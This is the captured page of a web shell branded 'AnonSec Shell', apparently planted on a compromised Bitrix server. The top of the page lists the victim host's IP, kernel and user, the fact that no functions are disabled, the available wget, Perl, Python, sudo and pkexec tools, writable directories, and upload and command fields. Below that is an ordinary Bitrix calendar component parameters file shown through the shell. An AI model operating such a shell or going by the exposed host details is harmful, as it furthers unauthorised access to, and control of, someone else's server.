AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 13.59.58.209
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/calendar.livefeed.edit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/calendar.livefeed.edit//.parameters.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
if(!CModule::IncludeModule("calendar"))
	return;

$bSocNet = CModule::IncludeModule("socialnetwork");

$arComponentParameters = array();

$arTypes = array();
$types = CCalendarType::GetList();

if (is_array($types))
{
	foreach($types as $type)
		$arTypes[$type["XML_ID"]] = "[".$type["XML_ID"]."] ".$type["NAME"];
}

$arParams = array(); // $arComponentParameters["PARAMETERS"]

$arParams["CALENDAR_TYPE"] = Array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("EC_TYPE"),
	"TYPE" => "LIST",
	"VALUES" => $arTypes,
	"REFRESH" => 'Y'
);

if (!isset($arCurrentValues) && count($arTypes) > 0)
{
	$arCurrentValues["CALENDAR_TYPE"] = key($arTypes);
}

if ($arCurrentValues["CALENDAR_TYPE"] != 'user' && $arCurrentValues["CALENDAR_TYPE"] != 'group')
{
	$Sect = CCalendar::GetSectionList(array('CAL_TYPE' => $arCurrentValues["CALENDAR_TYPE"]));
	if (count($Sect) > 0)
	{
		$arSections = array('0' => '- '.GetMessage("EC_CALENDAR_SECTION_ALL").' -');
		foreach($Sect as $section)
			$arSections[$section["ID"]] = "[".$section["ID"]."] ".$section["NAME"];

		$arParams["CALENDAR_SECTION_ID"] = Array(
			"PARENT" => "BASE",
			"NAME" => GetMessage("EC_CALENDAR_SECTION"),
			"TYPE" => "LIST",
			"VALUES" => $arSections
		);
	}
}

if (CCalendar::IsIntranetEnabled() && $bSocNet)
{
	$arParams["B_CUR_USER_LIST"] = Array(
		"PARENT" => "BASE",
		"NAME" => GetMessage("ECL_P_CUR_USER_EVENT_LIST"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "N",
		"REFRESH" => "Y",
	);
}

$arParams["INIT_DATE"] = array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("ECL_P_INIT_DATE"),
	"DEFAULT" => '-'.GetMessage("ECL_P_SHOW_CUR_DATE").'-'
);

$arParams["FUTURE_MONTH_COUNT"] = array(
	"PARENT" => "BASE",
	"TYPE" => "LIST",
	"NAME" => GetMessage("ECL_P_FUTURE_MONTH_COUNT"),
	"VALUES" => Array("1" => "1","2" => "2","3" => "3","4" => "4","5" => "5","6" => "6","12" => "12","24" => "24"),
	"DEFAULT" => "2",
);

$arParams["DETAIL_URL"] = array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("ECL_P_DETAIL_URL"),
	"DEFAULT" => ""
);

$arParams["EVENTS_COUNT"] = array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("ECL_P_EVENTS_COUNT"),
	"DEFAULT" => "5"
);

$arParams["CACHE_TIME"] = Array(
	"PARENT" => "BASE",
	"NAME" => GetMessage("ECL_P_CACHE_TIME"),
	"DEFAULT" => "3600",
);

$arComponentParameters["PARAMETERS"] = $arParams;
?>

Anon7 - 2022
AnonSec Team